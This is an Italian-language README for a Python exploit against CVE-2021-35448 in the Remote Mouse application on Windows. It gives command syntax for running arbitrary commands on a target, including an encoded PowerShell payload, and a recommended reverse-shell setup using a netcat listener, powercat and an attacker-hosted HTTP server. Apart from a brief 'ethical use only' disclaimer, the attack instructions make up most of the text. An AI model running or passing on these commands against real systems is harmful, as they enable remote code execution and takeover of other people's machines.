CVE-2021-35448 - Exploit di Remote Mouse

Descrizione

Questo exploit prende di mira la vulnerabilità CVE-2021-35448 nell'applicazione Remote Mouse (precedentemente nota come WiFi Mouse).

POC

CVE-2021-35448.webm

Utilizzo

Sintassi di base

python3 CVE-2021-35448.py -t <TARGET_IP> [OPTIONS]

Opzioni

• -t, --target: Indirizzo IP del target (obbligatorio)
• -p, --payload: Comando personalizzato da eseguire
• -r, --reverse: Reverse shell in formato IP:PORT
• -l, --http: Server HTTP locale in formato IP:PORT (obbligatorio con -r)

Esempi di utilizzo

1. Comando personalizzato

python3 CVE-2021-35448.py -t 192.168.1.100 -p "Powershell -e JAB...=="

2. Reverse Shell (Consigliato)

# Terminale 1 - Listener
nc -nlvp 4444

# Terminale 2 - Exploit
python3 CVE-2021-35448.py -t $REMOTESERVER_IP -r $REVSHELL_IP:$PORT -l 0.0.0.0:$PORT

Prerequisiti

File richiesti

• CVE-2021-35448.py: Script di exploit principale
• powercat.ps1: Script PowerShell per reverse shell

Sistema target

• Remote Mouse installato e in esecuzione
• Sistema Windows (testato su Windows 10)

Avvertenza

⚠️ SOLO USO ETICO ⚠️

Questo strumento è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati. L'uso non autorizzato di questo exploit è illegale e può comportare azioni legali.

Riferimenti

• WiFi Mouse 1.7.8.5 - Esecuzione di codice in remoto
• Dettaglio CVE-2021-35448

Autore

Sviluppato per scopi educativi e di test di penetrazione etici.

Ultimo aggiornamento: 2025